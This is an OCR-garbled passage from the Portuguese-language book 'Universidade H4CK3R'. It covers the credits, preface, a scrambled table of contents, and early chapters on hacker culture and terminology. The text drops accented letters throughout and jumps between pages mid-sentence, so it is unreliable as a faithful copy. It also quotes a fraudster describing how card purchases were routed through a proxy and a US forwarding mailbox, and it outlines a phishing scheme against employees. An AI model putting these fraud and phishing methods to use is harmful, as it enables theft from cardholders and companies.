Escolar Documentos
Profissional Documentos
Cultura Documentos
Jniversidade
H4CK3R I
Contedo extra
No Co: alm das ferramentas hackers, voc encontra os apndices do livro em formato POF na ntegra. Na Internet: basta se cadastrar no site www.digerati.comllivros para ter acesso s atualizaes, erratas e ao material que preparamos especialmente para complementar seus estudos. Atravs da pgina voc tambm poder enviar e-mails com dvidas, crticas ou sugestes para o editor ou para os autores.
universidade
4a EDICAO ,
HENRIQUE CESAR ULBRICH JAMESDELLA VALLE
I Universidade
H4CK3R I
@2004 by Digerati Books Todos os direitos reservados e protegidos pela Lei 5.988 de 14/12/73.Nenhuma parte deste livro, sem autorizao prvia por escrito da editora, poder ser reproduzida ou transmitida sejam quais forem os meios empregados: eletrnicos, mecnicos, fotogrficos, gravao ou quaisquer outros. Editor: Luis Matos Projeto grfico e Arte: Mau rcio Costato Capa: Jos Antonio Martins Ilustradores: Daniel Brito e Helber Bimbo Revisoras: Angela das Neves, Cntia Yamashiro e Priscila Cassetari Produo do CD-ROM: Marcelo Bruzzesi, Raphael Pansutti e Gunther Khun Autores: Ulbrich, Henrique Cesar Della Valle, James Simone Ribeiro de Carvalho,
Universidade Hacker
- 4a Edio
12 andar
Diretores
141
Prefcio
No de hoje que o hackerismo fascina milhares de pessoas em todo o mundo. Vrias imagens foram criadas sobre os hackers1, algumas colocando-os como justiceiros, com poder de combater e desfalcar grandes corporaes; outras, mostrando-os como simples bandidos atrs de uma forma ilcita de obter lucro, seja roubando dinheiro ou informaes sigilosas. H ainda uma terceira viso que coloca o hacker como um pesquisador, algum que busca sempre aprimorar seus conhecimentos atravs do estudo de sistemas alheios. Ao mesmo tempo em que exercem fascnio, eles tambm amedrontam usurios e particularmente empresas, que temem ser invadidas e ter dados confidenciais roubados. H muito tempo os hackers atuam, mas inegavelmente foi no incio de 2000 que eles ganharam as manchetes de jornais e revistas em todo o mundo. Durante trs dias, na primeira quinzena de fevereiro daquele ano, uma ao coordenada por um grupo de hackers prejudicou o funcionamento e gerou grande prejuzo a sites muito populares como Yahoo!,Amazon, eBay,ZDNet, Buy.com e CNN.com. A ao foi realizada com um artifcio considerado simples, chamado DoS (Denial of Service, recusa de servio). Nesse tipo de ataque, os hackers no entram nos computadores das vtimas para roubar informaes. Eles simplesmente os bombardeiam com uma quantidade to grande de dados que o acesso a elas fica bloqueado. Identificar os hackers que fazem esse tipo de ataque especialmente difcil porque eles usam milhares de mquinas espalhadas pelo mundo, sem que
1 Neste livro usamos a palavra hacker em seu significado mais popular. Entretanto, sabemos que o sentido correto da palavra hacker outro, mais abrangente. Hacker o sinnimo de especialista, em qualquer rea. Se o seu jardineiro, por exemplo, for muito bom, ele pode ser considerado um "hacker em jardinagem".
I Universidade
H4CK3R I
os donos se dem conta. Esses computadores funcionam como "escravos" sob o comando de um mestre a distncia, que invadiu e dominou esses equipamentos que, na maioria das vezes, possuem conexo de acesso rpido Internet. Passados trs anos desse episdio em que o mundo olhou pela primeira vez com um certo medo a ao dos hackers, as empresas se armaram, contrataram especialistas, novos sistemas de segurana foram desenvolvidos e as equipes foram treinadas para evitar invases.Tambm uma infinidade de ttulos mostrando como agiam os hackers foi lanada. O resultado? Os hackers continuaram agindo e aumentando seu poder de fogo cada vez mais. Para se ter uma idia, em 21 de outubro de 2002, um poderoso ataque conseguiu derrubar nove dos 13 servidores que gerenciam o trfego mundial da Internet. Na poca, um oficial do gov~rno americano descreveu o ataque como a invaso mais sofisticada em grande escala j feita em toda a histria da Internet contra computadores de misso crtica. Por que os hackers ainda continuam agindo? Por que os administradores no conseguem barrar sua ao? A resposta para essas e muitas outras perguntas podem ser conferidas nas prximas pginas. Pela primeira vez, um livro mergulhou fundo no universo hacker para revelar as mais modernas tcnicas usadas e as diferentes motivaes que os levam a continuar atacando. Seja bem-vindo a Universidade Hacker.
Luis Matos
161
Sumrio
Prefcio
Parte I
Universidade 1 Ano: Formando o Script Kiddie O. AuLa Ina ugura L
-
5
15
17
18
19
20 20 21 22
- Bem-vindo s aulas
25
mostrado na mdia 26
~Sopade letrinhas: Hackers, crackers, phreakers ~ Oque so, como pensam e como agem - Aprendizado - Comprometimento - Compartilhamento
- Ei!Isso importante!
~ Por que algum gastaria tempo e dinheiro numa invaso?
28 30 30 31 31 32 33
2. RedesI
~1 ntrod uo
- Conceituao
35
36 36
37
38
38 39
39 41 42
Matrioshka
44 45
47
47 50
52
52
53
54
55
55 171
I Universidade
H4CK3R
I
55 55 56 56 57 57 57 57 57 57 58 59
~ TCP1iP - Camadas - Entendendo o TCP/!P - Oprotocolo /P - Endereo /P - Mscara de Rede - TCP/UDP - Portas - DNS - ARP ~ Laboratrio de Redes I - VVtndows9.x
...
3. PLataformaWindows
~ As "famlias" Windows - Famlia VVtn9x - Famlia VVtnNT ~ Nos bastidores - Estrutura - Entidades ~ Como mesmo que fao aquilo - Os arquivos /N/ - Registrar o qu? - Estrutura do registro - CLS/D? - Um pouco de graxa para os cotovelos - O tesouro ~ Where to, buddy?
63
64 6465 66 66 68 76 76 77 78 79 80 81
, "
83
4. PLataformas Un ix
Unix de sistemas operacionais -Apenas um jogo de computador - POS/X - Dezenas de sabores sua escolha... ~ As entranhas da fera
~
-
85
...... 86 87 88 89 89
o modelo
Estrutura
90
90 93 95
- Sistema de arquivos ~ O cerne da questo - Dispositivos - Processos Ino, no papo de advogado I - 5; poderia me fazer um favor? - Comunicao entre processos - SInais e semforos ~ Na praia catando mexilhes - MInha coleo de conchas - Script for a .Jesters tear - Todos os segredos esto no/etc - /nittab and the Runlevels (parece banda de rock, mas no ... 181
96
97
98
99 101 102 102 103 103
- Outras gemas ~ O meu eu quero de flocos... - Free as in free speech - A dana dos pingins - O diabinho que rL ~Vou can go your own way...
...
5. Fundamentos Jurdicos
~ Por que a sociedade teme os "hackers"? ~ As liberdades individuais e o direito privado ~ O direito informao e os ataques liberdade ~ Alegislao brasileira ~ Leis internacionais aps o dia 11de setembro de 2001 - Nos Estados Unidos - Na Europa ~ Casos de hackers famosos - O russo que 'nackeou" a Adobe - O hackermais famoso do mundo
111
112 113 114 115 118 118 119 119 119 120
123
124
125 ... 125 125 , 125 ... 126
~ Mtodos utilizados
- Disfarces ,
126 127
127
- O apelo
sentimental.
- Programao neurolingstica. -A utilizao da Internet - O fator sorte - Navegando no mar proIbido ~ Casos rea is - Abraham Abdallah - Kevin Mitnick
,...
, ...
129 129
7. VuLnera biLidades I
~ Noes de vulnerabilidade - Superlammers e sua viso de Raio-X
"
131
132
133
,
134
136 136 136 138 141 141 143
191
I Universidade
H4CK3R I
,
- Scanner de vulnerabilidade - Exploits ~ EmTria, como os gregos... ~Asfalhas desegurana mais comuns em micros domticos - TCPSYNScanningversusWndows 98 - Compartilhamentos em computadores Wndows (SMB/ClFS)
-
144
145 146 148
148
148
150
151 151 152 153 153 ,... 154
- Buffer Overflow nos servios de Remote Procedure Cal! ~ Laboratrio de Vulnerabilidades I ~ Configurando o servidor - Juntando as coisas - Porta dos fundos ~ Consideraes fina is
Parte
Universidade
8. Redes
II
157
158 159
160
,
~ Protocolo
IP
160 IP , 161 164 165 166 167 169 171 172 173 176 178 179 179 180
- Opacote TCP - Portas TCP - Os bits de controle TCP ~ Protocolo UOP ~ Protocolo ICMP ~ Laboratrio de Redes 1I ~ Rotea mento ~ Internet ~ Sub- red es ~ Redes Wi reless - Rdio - IEEE 802.11 - Infravermelho - Bluetooth ... - 6SM - 2,56 - 36
- W'Fi'
180
180
180
181 181 181 181
181
9 Vulnera biLidades II
~ Navegando anonimamente - Proxies pblicos - Proxies privados - Squid ,.. ... - WinGate . ~Anonymous remailers ~ Furando firewalls - Firewa!!s - Filtros de pacotes - Proxies - Filtros de pacotes por estado (SPF/ - Pesquisando as regras do filtro de pacotes ~ Servidores Web - Apache - Sun ONE/iPlanet - Microsoft Internet Information Services (115/ - Common Gateway Interface (CGI/ - PHP e ASP ,... ~ Defacements ~ Banco de Dados - Conectando diretamente via Internet - Senhas na Web (teoria x prtica/ ~ Estamos todos vulnerveis?
183
185 185 188 190 190 191 193 194 194 196 197 197 198 199 199 200 201 202
203
Parte
111
um Hacker
211
213
214 217 221 223
11.
225
226
227 227 229 229 230 232
~ Engenharia Social ~ A 9ra nd e teia - O Google seu amigo - At tu, Brutus? - Quem esse cara? ~ Sign your na me across my heart ~ Defesa e contra-ataque
235
236 237 240
/11 /
I Universidade
-
H4CK3R
I
240
241
242 243 243 243 244
- Varrendo sob o tapete - Impresso digital na Web - Tem mais? ~ Procurando brechas ~ Defesa e contra-ataq ue
247
248 249 249 251 252
Um amontoado de coisas...
252
253 257 259 263 264 265
-As pilhas no reino digital - Debug in on the table ~ Ganhando acesso por estouro de pilha ~ Ganhando acesso a outras contas - Mtodos para descobrir usurios e senhas - Quebrando senhas no Windows
-
Quebrandosenhas no Unix
267
268 268 269 270 273 275 277 282 285 286 290 293 295 297 298 305 306 306 307 309
~ Ganhando acesso e destruindo a rede - War Driving e War Chalking """"""""""""""""""""""""""'''''''''''''''''''''''''' - Indo alm do SQL Injection... - Farejando a rede (SmffingJ - Smffing passivo """""""""" - Sniffing ativo - Escolhendo seu sabujo - Farejando na prtica - Quando a caa v ~ Who can you trust? ~ Captura de sesses [Hijacking] - Selecionando seus combatentes - Seqestro na prtica - Outros mtodos de desviar trfego - Navegao de servio - Masters and Slaves ~ Defesa e contra-ataque - WarDialing Brute Force - Quebra de senhas - Negao de servio
313
314 315
316
319
Novamente,'Attu,Brutus?"
112 I
319
- Vrusaindaindetectveis .,
- Indo alm dos Cavalos de Tria - There is no spoon ~ Comunicao sem conexes - Ouvindo moucos - Farejando problemas ... - Atualizando a camuflagem - Layer-O: como funciona ~ Defesa e Contra -ataq ue - Backdoors, Vrus e Cavalos de Tria - Comunicao sem conexes ~ Estamos quase l
319
320 323 326 326 327 328 329 331 331 334 335
337
,... 338
Apnd ices
~ Introduo aos Sistemas Operacionais ~ Plataformas Novel Netware ~ Programao I ~ Programao II ~ Hardware ~ Informtica bsica ~ Um pouco de histria ~ O Kernel do MS-DOS ~ Histria da Internet ~ B-a-B do Unix
no CD
113 I
Universidade 10 Ano:
Aula Inaugural
caPtuLoO
''ideologia. Eu quero uma pra viver!"
Cazuza
I Universidade
H4CK3R I
Aula inaugural
"Meu crime a curiosidade, subestimar os mais poderosos mesmo quando errados. Meu crime saber tudo sobre todos, ser mais esperto. Estou preso, mas por uma causa justa". A frase acima foi proferida por um hacker que foi preso acusado de tentativa de extorso. Ela no somente reveladora de seu pensamento, mas, de forma geral, expressa o pensamento de boa parte da comunidade hacker. Na maioria das vezes, o que move um hacker em suas incurses por sistemas alheios a adrenalina produzida pelo risco combinando com a satisfao da vitria. Muitos pensam que esto em uma guerra, na qual matar ou morrer significa invadir ou no o sistema.Tudo tem de ser bem pensado para conseguir o objetivo fmal e o risco algo que aumenta a adrenalina. Quanto mais difcil, melhor. Poderamos dizer que o hacker somente uma pessoa em busca do conhecimento, de desvendar mistrios, de invadir a linha do inimigo para saber seus segredos e alertar a todos sobre o que viu? No, certamente no. Estamos desconsiderando um fator muito importante. Imagine voc tomar contato com o nmero do carto de crdito de 10 mil pessoas, ou mesmo ter acesso a informaes extremamente sigilosas sobre empresas. Poucos resistiriam tentao de fazer uso dessas informaes. Alguns pensariam: vou usar somente um nmero de carto uma nica vez e depois eu paro. como uma pessoa se vicia na droga, no? Uma primeira vez, uma segunda, e quando v no consegue se livrar do vcio. Sem contar que o hacker tambm tem de lutar contra sua vaidade. Invadir somente no tem nenhum mrito se os outros no ficarem sabendo. No verdade? A a vida do hacker comea a se complicar.
JI
Aulainaugural [
providncia que voc tomaria? Movidos pela curiosidade, colocamos o disquete na mquina e abrimos o arquivo para ver seu contedo. Talvez exista um cone para um documento do Word chamado "arquivo de folha de pagamento" ou "histria salarial". Provavelmente clicaramos para comparar nosso salrio com o dos demais. O que acontece, ento? Voc v uma caixa de mensagem que diz algo como "o aplicativo no pde ser aberto" ou "arquivo falho". O que a maioria no sabe que um cavalo de tria acaba de ser instalado, o que permitir que um intruso a invada.Voc vai devolver o disco para o setor de recursos humanos, onde algum vai verific-Io - agora o hacker tem acesso a dois computadores. Esse um exemplo de ataque indireto. Um ataque direto aquele em que o invasor se comunica diretamente com a vtima via telefone, fax, e-mail ou at pessoalmente. Na maioria dos casos, o ataque no personalizado - visa outro empregado, por exemplo - e tenta persuadilos para que revelem informaes, instalem softwares ou acessem um site que prejudique a estrutura computacional da empresa. Digamos que um hacker queira atingir a John Wiley & Sons. Ele ou ela deve construir um web site que parea totalmente confivel. O site tem um programa de registro e pede aos usurios que coloquem um login e uma senha. O invasor ento envia um e-mail para mil empregados da Wiley, encorajando-os a registrarem-se em troca de um prmio. O e-mail tambm contm um link para o website criado pelo invasor. Digamos que 10% dos empregados que recebem o e-mail realmente respondam. E suponhamos que 10%dos registros usem a mesma senha do servio (para no ter de decorar vrias senhas). Com apenas 25 endereos de e-mails e senhas, o hacker tem formas variadas de acessar o sistema computacional da Willey".
o mito hacker
Muito mais do que um especialista, o hacker considerado por muita gente como um criminoso. Aquele indivduo do qual as empresas devem se proteger, pois ele pode a qualquer momento invadir sua rede de informao provocando srios prejuzos. tambm aquela pessoa que pode vir a roubar dados, senhas e nmero de cartes dos usurios que fornecem essas informaes para as empresas nas quais fazem compras. Essa imagem alimentada por alguns grupos hackers que agem verdadeiramente como criminosos, e apossando-se de dados confidenciais e fazendo uso destes. Veja este relato: "O maior golpe foi a compra de trs laptops de uma vez na Semp Toshiba, que foi feita normalmente, num sbado noite.Abri meu Opera, pus meu proxy e fui s compras. Bom, o total foi 14 mil dlares, e a compra foi aceita, parcelada no
119 I
]Aula
inaugural
I Universidade H4CK3R I
carto em 6 vezes. Mas o dono do carto cancelou e meu pedido no veio (essa parte a pior: cancelamento da compra). Mas isso foi h muito tempo, no incio. Agora, ns compramos muitos livros, softwares, domnios, notebooks, etc. Uma das minhas compras bem-sucedidas foi de um CD-ROMe um monitor de 1T, tela plana, com valor de 2 mil dlares, mas no fiquei com nada, vendi. No caso da compra na Semp Toshiba, que foi cancelada um dia depois, o endereo da entrega era da lanbox (lanbox um P.O. Box dos EUA que redirecionado ao seu endereo verdadeiro), e a entrega do CD e do monitor foi na casa de um amigo..." 2
Mocinho ou vilo?
Como tudo na vida, no possvel generalizar os diferentes tipos de hackers, nem rotular todo esse imenso grupo da mesma forma.Tambm imprescindvel destacar que os hackers, mesmo que algumas vezes involuntariamente, acabam ajudando a revelar bugs em softwares e problemas existentes em redes, que poderiam resultar em graves conseqncias para usurios de redes corporativas ou da Internet. Um exemplo disso foi dado em um dos maiores ataques cibernticos da histria realizado em outubro de 2002, que derrubou boa parte dos principais servidores dos EUA.Ele mostrou alguns furos importantes na segurana da Internet, que so at conhecidos. Mas tambm revelou outra coisa: a superconcentrao de servidores nos Estados Unidos. Apesar de ser uma rede que chega a quase todos os pases do mundo, ainda 70% das mensagens passam por servidores ou roteadores norte-americanos. No estamos mais nos velhos tempos, em que a quantidade esmagadora de internautas era americana. Portanto, mudanas devem ser feitas seguindo o esprito que criou a prpria Internet: a descentralizao da comunicao. Alis, isso um importante fator de segurana bsico, mas totalmente esquecido. Quando a maior parte do trfego da Internet fica concentrada em pouco mais de dez superservidores, fica mais fcil organizar um superataque. "Nunca coloque todos os ovos no mesmo cesto." 3
20
Aula inaugural[
(45%) e dos usurios (38%) foram apontadas como os principais obstculos para implementao da segurana nas corporaes. Um dado revelado pela pesquisa extremamente preocupante: 43% das empresas reconheceram ter sofrido ataques nos ltimos 12 meses, representando um aumento de 10% em relao a 2001, sendo que 24% das ocorrncias foram registradas nos ltimos seis meses. Mas o pior de tudo que 32% no souberam informar se foram atacadas ou no e, apesar da expectativa de aumento nos problemas com a segurana e o crescimento no ndice de registros de ataques e invases, a pesquisa mostra que apenas metade das empresas brasileiras (49%) possuem planos de ao formalizados em caso de ataques. Outro dado interessante aponta que os hackers (48%) foram os maiores responsveis por ataques e invases em 2002, representando um aumento de 15% com relao a 2001. Em segundo lugar vm os funcionrios, que passaram de 24 para 31%. Surge tambm uma nova ameaa, no registrada na pesquisa anterior: a categoria ex-funcionrios, que registrou 8%. O percentual relativo a prestadores de servio passou de 3 para 12%e o dos concorrentes de 1 para 4%. O pior de tudo que a percepo de falta de segurana nas transaes continua sendo o maior obstculo para o desenvolvimento de negcios digitais em escala global. So nada menos do que 66% os usurios que deixam de comprar pela Internet por causa da sensao de falta de segurana.
Avalanche de ataques
Todos sabemos que h vrios fatores que contribuem para a intensa atividade hacker. Para comear, h muitos sites inseguros. Um estudo do Gartner Group estima que 2/3 dos servidores da Web no mundo podem ser invadidos de alguma forma. Outro fator que estimula a atividade hacker a ampla disponibilidade de ferramentas de ataque na Internet. Qualquer adolescente com tempo livre e conhecimentos tcnicos medianos consegue encontrar as informaes e os softwares necessrios para uma invaso. Mas o principal motivo ainda a impunidade. Os poucos policiais que investigam crimes digitais no Brasil no conseguem atender a todos os casos. Alm disso, a falta de uma legislao especfica dificulta a punio do culpado, se bem que alguns hackers podem ser enquadrados com base no Cdigo Penal de acordo com o crime praticado. Para se ter uma idia da quantidade de aes hackers, um estudo da Universidade da Califrnia mostrou que os hackers tentam realizar mais de 4 mil ataques do tipo DoS (Denial ofService) todas as semanas, um nmero bastante impressionante e que mostra que h muito do que se proteger no mundo virtual.
21
]Aula
inaugural
I Universidade
H4CK3R I
Bem-vindo s aulas
"Na hora de tentar invadir um site, meu corao disparava e a adrenalina ia a mil por hora. O medo de ser pego, junto com a perspectiva de vitria e sucesso, causava uma euforia tamanha que no d para descrever. Depois que todo mundo fica sabendo do seu feito, a s curtir a fama". Relatos como esse, feito por hackers, podem at pintar um mundo cheio de aventura e emoo para quem invade sites e sistemas. Mas a verdade que no bem assim. Nas prximas pginas voc ter a oportunidade de conhecer muito desse universo hacker, aprendendo a teoria e exerccios prticos para quem deseja dominar as tcnicas hackers. Nem seria preciso dizer que nosso objetivo formar pessoas extremamente conhecedoras em informtica que possam usar esses conhecimentos para trabalhar com segurana, desvendando vulnerabilidades e buscando solues. Organizamos os assuntos ao longo do curso de forma a preencher as necessidades do aluno. Entretanto, entendemos que muitos j "iniciados" vo ler este livro. Portanto, separamos os assuntos em trs grandes grupos: prrequisitos, hackerismo bsico e hackerismo avanado. Deixamos no livro impresso os assuntos sobre hackerismo, e o que consideramos como "prrequisito" (programao, sistemas operacionais e hardware ) inclumos no CDROM como apndices. Assim, suprimos as necessidades de quem est comeando "do zero" e no penalizamos o "iniciado" com pginas cheias de coisas que ele j sabe. O uso indevido das informaes aqui prestadas, bem como de informaes apresentadas em qualquer livro, seja ele sobre redes, servidores de Internet, sistemas operacionais, programao e outros, so de inteira responsabilidade de quem as utilizou. Vale lembrar que no momento em que este livro foi redigido j estava em vigor a nova lei de crimes digitais no Brasil e a Homeland Security Act nos Estados Unidos. Alm disso, preciso considerar que todos os infratores esto sujeitos legislao do Cdigo Penal e do Cdigo Civil no pas. Portanto, aproveite as prximas pginas para ampliar seus conhecimentos em diferentes tpicos do mundo da informtica e para se tornar um verdadeiro especialista em segurana. E, o principal, use com responsabilidade este conhecimento.. .
Luis Matos
~2 I
Aula inauguraq
Captulo
justifica dia aps dia "/ Dag Hammarskjold Secretrio-geral da ONU e Prmio Nobel da Paz de 1961
I.As citaes deste livro esto todas em suas lnguas originais, exceo desta. Como foi um discurso nas Naes Unidas (e, portanto, oficialmente traduzido para vrias lnguas), preferimos coloc-Ia em portugus.
I Universidade
H4CK3R
Sim, ns sabemos. Voc comprou este livro para obter informaes tcnicas. Mas ns no adotamos esse modelo de curso universitrio toa: existem certas coisas fora da esfera tecnolgica que voc precisa conhecer, mesmo que no esteja muito interessado nelas. Assim como na faculdade de Direito estudamos economia e na de Engenharia Eltrica estudamos administrao, aqui em nosso
nos hotfixes da Microsoft e configurar de forma paranica seu binmio Firewa1l+AntivtrUs, se voc no compreender como fimciona a cabea de quem o
invade. Acredite, voc v seu sistema pelo lado de dentro. Seus inimigos o fazem pelo lado de fora. A perspectiva pela qual os invasores enxergam sua rede no pode sequer ser imaginada se voc apenas "segue a cartilha".
2 Que existe uma nova classe de bandidos digitais chamados" hackers", e um deles invadiu o tal site. Nessa interpretao, a palavra hacker quer dizer, literalmente, criminoso digital. 1261
Psicologia Hacker r
Universidade 1ano
Um outro exemplo talvez seja mais esclarecedor. Imagine um ataque terrorista no Pas Basco, regio da Espanha. O ataque foi realizado por guerrilheiros do grupo separatista basco ETA,visando independncia do que julgam ser sua terra. A notcia poderia ser veiculada da seguinte forma: "Uma bomba explodiu hoje em um supermercado em Madri, matando 90 pessoas e deixando feridas outras 174. Um basco, guerrilheiro do grupo separatista ETA,assumiu o atentado". Nesse pargrafo est implcita a idia de que todo basco guerrilheiro e pertence ao ETA.O sujeito da orao basco e no guerrilheiro do ETA.Deixando a frase dessa forma, dizemos que quem explodiu a bomba foi um cidado basco que tem como adjetivo ser guerrilheiro do ETA.Uma notcia como esta poderia ser melhor escrita da seguinte maneira: "Uma bomba explodiu hoje em um supermercado em Madri, matando 90 pessoas e deixando feridas outras 174. Um guerrilheiro do grupo separatista basco ETA assumiu o atentado". Pronto! Agora temos a palavra guerrilheiro como sujeito da orao. Esse guerrilheiro tem como adjetivo a orao "do grupo separatista basco ETA".Ou seja, ele , sim, basco. Mas no necessariamente todo basco tem a obrigao de ser membro do ETA. Um outro exemplo: um padre acusado de pedofilia. A manchete poderia ser "padre processado por pedofilia, estupro e seduo de menores". De maneira anloga dos hackers, poder-se-ia depreender da que h uma nova categoria de tarados chamados padres. Obviamente isso no verdadeiro, mas o que a redao sem cuidado pode fazer por uma categoria profissional decente. A imprensa comeou a prestar mais ateno aos hackers no [mal da dcada de 80. Supomos que os primeiros jornalistas que escreveram manchetes sobre ataques digitais tinham a inteno de usar a palavra em seu sentido correto. Entretanto, construes frasais ambguas certamente levaram os leitores, ouvintes e telespectadores a associar erroneamente a palavra hacker com o significado de criminoso digital. Tal erro nunca foi corrigido, e hoje vemos o significado incorreto do termo sendo consagrado. Aquela manchete da nossa revista ficaria melhor se reescrita assim: "Em setembro de 2000, um especialista em informtica usou seus conhecimentos de hacker para invadir uma indstria de brinquedos britnica...". Talvez a manchete pudesse ser mantida, mas um esclarecimento no primeiro pargrafo (ou mesmo em um dos olhos da matria) seria necessrio. Este livro, a contragosto dos autores, simplifica o termo hacker para seu significado popular e incorreto: criminoso digital. Sabemos que no do interesse da comunidade hacker que esta confuso continue. Para fins didticos usaremos o termo popular, mas sempre com ressalvas dentro do texto ou no rodap da pgina. 1271
] Psicologia
Hacker
I Universidade
H4CK3R
128 I
Psicologia Hacker r
Universidade 1 ano
mente pelo trio de programas que ele sempre emprega: scan, exploit e trojan. - Wannabe (ou wannabee) - A palavra foi usada pela primeira vez na mdia nos anos 80 para se referir aos tas da cantora Madonna que se vestiam e agiam tentando imitar seu dolo. De maneira semelhante, os wannabees da informtica so usurios comuns que almejam ser hackers. O termo pode ser usado de duas maneiras, uma positiva e outra pejorativa. Quando usado de forma positiva, wannabe o indivduo que j leu bastante e est prestes a entrar no que chamamos de latval stage (ou "entrar no casulo"). Na forma pejorativa, wannabe exatamente o tipo que descrevemos nos primeiros pargrafos deste captulo: algum que quer entrar nesse fantasioso mundo mstico chamado hackerismo, mas no tem a mnima idia do que se trata. - Larva! stage - literalmente, estgio larval, tambm chamado de spawn. o perodo de isolamento total pelo qual o candidato a hacker tem de passar para, no fmal do processo, "nascer de novo" como programador. Note que possuir habilidade em programao condio fundamental para ser considerado hacker, mesmo no sentido popular da palavra. O estgio larval restringe-se programao e pode durar de seis meses a dois anos. No fmal deste estgio, o programador adquire uma sapincia quase esotrica, embora a possibilidade de nunca mais voltar a uma vida normal seja o preo a pagar. Voc pode ser um programador competente sem passar por isso. Entretanto, nunca chegar a ser um mago do cdigo. - Hacker - Essapalavra andou um longo caminho at chegar aqui. Originalmente (segundo o Jargon File) denominava carpinteiros que faziam mveis com machados
4 Segundo o Jargon File, uma caracterstica dos wannabes justamente o uso excessivo dos termos que estamos apresentando neste captulo. No verbete h ainda uma interessante nota histrica sobre a evoluo do signiflcado da palavra.
1291
]Psicologia Hacker
I Universidade
H4CK3R
te especializado em quebrar as travas de softwares comerciais para poder pirate-Ios (chamados de warez-dOOdz), mas tambm usa seus conhecimentos para invadir sites e computadores com objetivos ilcitos, como vandalismo ou roubo. Muitas vezes os crackers so excelentes programadores e podem criar programas que infectem ou destruam completamente sistemas alheios sem deixar vestgios - os lamers normalmente usam programas criados pelos crackers. Mas a grande maioria pouca coisa mais esperta que os lamers. A diferena que os crackers so persistentes: conhecem e fazem uso de uma mirade de ferramentas para explorar vulnerabilidades conhecidas nos sistemas que querem invadir. Um lamer age por impulso e no sabe o que est fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medocre, tem noes suficientes para "se virar" caso algum imprevisto ocorra. - Phreaker - o cracker dos sistemas telefnicos. Possui conhecimentos avanados de eletrnica e telefonia (principalmente sobre sinalizao telefnica) e pode fazer chamadas de qualquer local sem pagar por elas. Os mtodos de fraude incluem transferir as faturas para outros nmeros (vlidos ou no), modificar telefones pblicos para conseguir crdito ilimitado ou mesmo enganar a central telefnica para que ela no faa o billing. - Carder - o especialista em fraudes com cartes de crdito. Sabe como conseguir listas de cartes vlidos em sites que os utilizam (sites de compras, de chat pago, etc.), gerar nmeros falsos que passam pela verificao e mesmo roubar e clonar cartes verdadeiros. - War driver vulnerabilidades - Um tipo recente de cracker. Sabe aproveitar as inmeras das atuais redes sem fio, as chamadas wireless, e se conectar a
elas. Os war drivers europeus foram mais longe e criaram o war chalking, que consiste em desenhar com giz no cho smbolos que indicam a melhor posio de conexo para outros war drivers.
Aprendizado
Os hackers so neurticos em sua busca por conhecimento. Qualquer informao, por mnima que seja, uma jia rara. Cada novo sistema, linguagem de progra-
130 I
Psicologia Hacker r
Universidade 1 ano
mao ou mecanismo de criptografia um desafio a ser superado. Dependendo de suas idias sociais e polticas, o hacker pode decidir inclusive que os conhecimentos encerrados em uma rede ou sistema autnomo devem ser abertos ao grande pblico, mesmo que seu sigilo esteja resguardado por leis - rebeldia e repdio a leis imorais ou injustas so quase obrigatrias nesse meio. A idia de invadir um sistema para olhar tudo, aprender o mximo possvel e sair sem tocar em nada amplamente aceita mesmo pelos conservadores. Essas pessoas faro tudo o que estiver a seu alcance para buscar sempre novos conhecimentos.
Comprometimento
Uma das caractersticas comuns a todos os hackers o que coloquialmente chamamos de bitolao. Eles so aficionados em tudo o que envolve computadores, programao, conectividade e tecnologia da informao. E o so ao ponto de relaxar na aparncia, deixar de comer, de tomar banho e de dormir durante dias para terminar um programa importante ou conseguir invadir aquele site famoso. O larva!stage a que nos referimos anteriormente um bom exemplo do comprometimento que o hacker tem por seu trabalho, seja ele remunerado ou no (mesmo hackers que o fazem por hobby referem-se ao hackerismo como trabalho). Outro exemplo o chamado hack mode. Quando um programador ou analista de sistemas entra em hack mode, todos os recursos de seu corpo e crebro esto alocados para a tarefa na qual ele pretende hackear. Isso inclui um grande poder de concentrao e de abstrao. Quando um hacker est em hack mode, perfeitamente aceitvel que ele levante a mo para outras pessoas em sinal de "pare", sem dizer uma palavra, impedindo assim que a linha de raciocnio seja quebrada. Interromper o raciocnio de um programador enquanto ele est criando sinnimo de apagar todo o seu trabalho: ele ter de recomear do zero. Outro exemplo do comprometimento dos hackers o descuido quanto carreira. Muitos programadores e especialistas em sistemas recusam promoes nas empresas onde trabalham porque isso acarretaria desloc-Ios para reas administrativas e gerenciais. De fato, quase que mensalmente lemos nas revistas especializadas entrevistas com diretores de informtica que desabafam com o reprter sua saudade da poca em que "colocavam as mos na massa". Com pa rti Lhamento Hackers de qualquer espcie (os do MIT e os do Crime Boyz) tambm tm em comum a necessidade de compartilhar conhecimento e recursos. Isso inclui escrever software com cdigo aberto e livre acesso, divulgar 100% do conhecimento que possui para a comunidade, facilitar o acesso a essas informaes a qualquer interessado e disponibilizar, sempre que possvel, recursos de computao e de rede. Essa uma paisagem que pode ser vista por diferentes janelas. Os hackers tradicionais (ou seja, segundo o significado correto da palavra) pregam o
131 I
I
Psicologia Hacker
I Universidade
H4CK3R I
compartilhamento universal do conhecimento. H milhares de bons exemplos do compartilhamento universal e irrestrito de informaes, como a prpria Internet, o projeto Gutenberg (http://www.gutenberg.org/). o projeto GNU (http://www.gnu.org) e o Linux (http://www.linux.org). Os hackers/crackers tm outra noo de compartilhamento do conhecimento. Para eles, a cooperao fundamental, mas deve ser recproca. Isso significa que voc tem de compartilhar primeiro para ser aceito no cl. S depois de julgado pelo cl, voc ter acesso base de conhecimento deles. Alm das informaes bsicas e das livremente obtenveis, procedimentos de invaso e os dados resultantes delas tambm devem ser compartilhados entre os membros do cl. Hackers normalmente colocam diversos backdoors nos sistemas invadidos e divulgam informaes sobre esses backdoors5 dentro de seus cls. Os hackers desse segundo tipo tm ideais. O ideal de alguns o dinheiro e para isso no hesitaro em roubar, enganar e fraudar. Para outros, h motivaes ideolgicas, polticas ou sociais, algumas extremamente vlidas, outras moralmente questionveis. Outros ainda so vndalos e destroem pelo puro prazer de ver o ndio queimar... Os que possuem ideais elevados normalmente revelam a podrido de governos e empresas e como elas nos enganam ou lesam. difcil condenar qualquer um dos tipos. Os hackers tradicionais, com sua viso academicista, cooperativista e livre, nos deram, por exemplo, a Internet. Quadrilhes de dlares foram gastos em tecnologia por empresas I?rivadas durante todo o sculo XX e, no entanto, o cone e maior legado da tecnologia desse perodo algo que pessoas do meio cientfico ofertaram de graa humanidade. J os hackers do segundo tipo - rebelando-se contra instituies e leis nem sempre justas ou moralmente corretas - nos mostraram que SIM,o governo nos espiona; SIM, as empresas empurram produtos de m qualidade aos consumidores; e SIM, organizaes privadas, polticas e governamentais esto 